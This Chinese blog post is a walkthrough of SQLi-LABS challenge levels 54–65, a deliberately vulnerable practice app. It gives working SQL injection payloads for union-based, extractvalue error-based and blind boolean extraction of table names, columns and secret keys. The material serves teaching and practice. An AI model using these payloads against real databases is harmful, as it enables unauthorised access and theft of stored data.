SQLi-LABS (Challenges) 54-65关
这一系列的关卡都有个限制,对我们之前所学的知识进行更深层次的运用。
Less-54
这一关的数据库每10次查询后会自动重置随机生成新的表名和列名数据,需要我我们在10次尝试以内得出 secret key 。
联合注入
这里再重新演示一次正常的联合注入流程
- 判断闭合方式和参数数据类型
1 | http://192.168.91.134/sqli-labs/Less-54/?id=1 正常 |
从这2步可以看出,这里是字符型的参数,并且闭合方式一定是'$id'
或者('$id')
两者之一。
- 判断字段数
1 | ?id=1' order by 3--+ 正常 |
得出查询返回的字段数有3个
- 查询有可注入的字段
1 | ?id=-1' union select 1,2,3 --+ |
可见字段2,3是可以显示出来的。
- 查询表名
1 | ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+ |
可知表名为 ttyxbfpvca
- 查询字段名
1 | ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ttyxbfpvca') --+ |
查到有 id、sessid、secret_IVAU、tryy 这些字段
- 查询数据
1 | ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_IVAU)+FROM+ttyxbfpvca) --+ |
拿到 secret key 值为:J1rzyGdPRiKwK5I4iaNlCwuT
Less-55
这一关和 Less-54 基本一致,给了14次机会,闭合方式改为了($id)
Less-56
这一关和 Less-54 相比只是闭合方式换成了('$id')
,给了14次机会。
Less-57
这一关和 Less-54 基本一致,给了14次机会,闭合方式改为了"$id"
Less-58
这一关只给了5次机会,当然如果知道了要使用什么注入方法后也能绰绰有余
- 查看代码
1 | $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4"); |
这里查询成功只给你回显预定数组里面的数据,并不是直接回显查询结果,因此无法使用联合注入,我们可以尝试报错注入。
报错注入
这里再演示一次报错注入:
- 查询表名
1 | ?id=-1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+ |
得知表名为:7dvdblb1tl
- 查询字段名
1 | ?id=-1' and (select extractvalue(1,concat(0x7e,(select group_concat(column_name+SEPARATOR+0x3c62723e) from information_schema.columns where table_name='7dvdblb1tl'),0x7e)))--+ |
由于报错注入回显的字符数有限,如果想要后面的信息,可以加 limit 来限制数量
这我们已经可以知道想要的字段名为:secret_UPZ7
- 查询数据
1 | ?id=-1' and (select extractvalue(1,concat(0x7e,(select secret_UPZ7 from 7dvdblb1tl),0x7e)))--+ |
得到 secret key 为: JrOfRpU234sYeim4AJuv6zVw
Less-59
本关与 Less-58 的思路一样,只是参数的数据类型换成了数字型。
Less-60
本关与 Less-58 的思路一样,只是闭合方式改为了("$id")
。
Less-61
本关与 Less-58 的思路一样,只是闭合方式改为了(('$id'))
。
Less-62
这一关把错误信息显示也屏蔽了,因此只能使用盲注了,由于盲注需要尝试的步骤也比较多,因此这里也给出了130次的机会。同时应该注意到这里的闭合方式为('$id')
1 | http://192.168.91.134/sqli-labs/Less-62/index.php/?id=1') and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 1--+ |
这里给出sqlmap的结果,注意如果已经运行过一次的话第二次需要清除缓存和cookie
1 | --flush-session --fresh-queries |
Less-63
与 Less-62 注入方式一致,只是闭合方式为'$id'
Less-64
与 Less-62 注入方式一致,只是闭合方式为(($id))
Less-65
与 Less-62 注入方式一致,只是闭合方式为("$di")
参考资料
- Post title:SQLi-LABS (Challenges) 54-65关
- Post author:John_Frod
- Create time:2021-03-07 18:59:21
- Post link:https://keep.xpoet.cn/2021/03/07/SQLi-LABS (Challenges) 54-65关/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.